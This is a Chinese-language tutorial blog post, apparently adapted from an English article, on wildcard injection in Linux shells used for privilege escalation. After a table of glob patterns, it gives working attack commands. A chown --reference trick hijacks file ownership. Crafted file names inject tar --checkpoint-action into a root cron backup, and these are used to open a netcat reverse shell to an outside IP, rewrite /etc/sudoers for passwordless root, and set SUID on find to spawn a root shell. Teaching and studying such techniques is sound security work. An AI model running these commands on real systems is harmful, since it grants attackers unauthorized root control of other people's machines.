命令执行之Linux Shell中的通配符注入

通配符注入(Wildcard Injection)是一有趣的老式Unix黑客技术。
个人感觉,就是用“特殊的文件名”来辅助执行命令。

通配符

字符 含义 实例
* 匹配 0 或多个字符 a*b a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab
? 匹配任意一个字符 a?b a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b
[list] 匹配list中的任意单一字符 a[xyz]b a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。
[^list] 匹配除list中的任意单一字符 a[^0-9]b a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。
[c1-c2] 匹配c1-c2中的任意单一字符如:[0-9] [a-z] a[0-9]b 0与9之间必须也只能有一个字符,如a0b, a1b... a9b。
{string1,string2,...} 匹配sring1或string2(或更多)其中一字符串 a{abc,xyz,123}b a与b之间只能是abc或xyz或123这三个字符串之一。

[]的特殊例子

[]:匹配范围
[^]:排除匹配范围
[:alnum:]:所有字母和数字
[:alpha:]:所有字母
[:digit:]:所有数字
[:lower:]:所有小写字母
[:upper:]:所有大写字母
[:blank:]:空白字符和TAB制表符
[:space:]:包括空白字符、TAB制表符(\t)、换页(\f)
[:cntrl:]:所有控制字符
[:graph:]:可打印并可看到的字符。空格是可打印的,但是不是可看到的。
[:print:]:所有可打印字符
[:punct:]:所有标点符号,非字母、数字、控制字符和space字符。
[:xdigit:]:十六进制数的字符。

特殊变量
IFS 分隔符,三者之一组成(我们常用space)。
CR 由产生。

简单的实例1

首先建立3个文件,各自写入了一行内容

cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help

之后用cat命令查看这些文件

cat file1
cat file 2
cat --help

前两个是不会有异常的,但是在尝试读取--help这个文件的时候,显示的不是take help,而是从自己的库中调用自己的-help选项,这种类型的技巧称为Wildcard wildness

通过Chown劫持文件所有者

利用chown命令可以改变文件的所有者,一般用户没有普通权限更改别人文件的所有者,除了root。

超级管理员用户 (root) – 执行chown命令。
非root用户1(raj) – 执行普通任务,如创建文件
非root用户2(aarti) – 执行普通任务,如创建文件
恶意用户(Ignite) – 注入chown命令
在下图中你可以看到,所有PHP文件的所有者均为raj用户。

命令执行之Linux Shell中的通配符注入_第1张图片

chown有个参数--reference,作用如下,
With --reference, change the owner and group of each FILE to those of RFILE.“克隆”参考文件的权限到你指定的文件或目录上。

cd
ls -al
echo "" > my.php
echo > --reference=my.php

当root用户使用通配符*修改所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。

chown -R aarti:aarti *.php
ls -al
命令执行之Linux Shell中的通配符注入_第2张图片

tar命令的利用

创建一些文件,然后用crontab命令定时备份

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

crontab和tar通配符注入

假设现在以一个普通用户的身份登陆终端,尝试提权到root。然后cat /etc/crontab查看计划任务。

命令执行之Linux Shell中的通配符注入_第3张图片

本机用msfvenom生成一个netcat反弹语句
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
然后复制到ssh中,cd到要打包的目录中

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

可以先执行tar cf archive.tar *看看触发的效果,crontab中的tar是root权限运行的,所以就等着反弹root会话吧。

--checkpoint[=NUM​​BER] (翻译起来绕口) 按百分几显示处理进度?
--checkpoint-action = ACTION 在每个检查点上执行指定的操作

有错误的第二个例子

原作者是这样子的

cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3

在其他目录中编写一个bash脚本,tar打包/tmp/data

mkdir info
cd info
nano script.sh
chmod 777 script.sh

注意,这个shell的内容是这样的

#!/bin/bash
cd /tmp/data
tar cf /backup/backup.tgz *

手动执行这个脚本就会发现,根本不会自动切换到/tmp/data目录。

这是因为shell在执行脚本时,会创建一个子shell,并在子shell中逐个执行脚本中的指令。 在子shell中已经切换了目录了,但是子shell一旦执行完,马上退出,子shell中的变量和操作全部都收回。回到终端根本就看不到这个过程的变化

解决办法

执行source c.sh,这时候就是直接在终端的shell执行脚本了,没有生成子shell,执行的结果就是输出历史命令,并且切换了目录。
每次都要输入source是一件烦琐的事情,其实source命令又叫点命令,所以执行. ./c.sh是一样的效果,注意:.和.中间有个空格!

tar+crontab+sudoers

就是用crontab改了sudoers文件的内容

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
命令执行之Linux Shell中的通配符注入_第4张图片

tar+crontab+suid

图略,就是用crontab改变文件的suid实现提权

echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami

在ctf中的利用

看完上面的通配符注入,再看看这个,p神博客写的无字母数字webshell之提高篇

觉得看不够的话还可以接着看下面这两个

【CTF 攻略】如何绕过四个字符限制getshell
https://www.anquanke.com/post/id/87203
命令注入突破长度限制
https://www.freebuf.com/articles/web/154453.html

注意,代码不能随便乱插,否则就被审核了
原文:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

你可能感兴趣的:(命令执行之Linux Shell中的通配符注入)